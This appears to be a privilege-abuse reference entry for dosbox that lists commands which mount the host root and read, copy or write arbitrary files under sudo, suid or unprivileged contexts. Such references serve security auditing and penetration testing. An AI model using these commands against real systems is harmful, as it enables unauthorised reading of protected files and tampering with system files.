dosbox

File Read

Context: sudo, suid, unprivileged

dosbox -c 'mount c /' -c 'type c:\path\to\input'

Context: sudo, suid, unprivileged

dosbox -c 'mount c /' -c 'copy c:\path\to\input c:\path\to\output' -c exit
cat /path/to/OUTPUT

File Write

Context: sudo, suid, unprivileged

dosbox -c 'mount c /' -c "echo DATA >c:\path\to\output" -c exit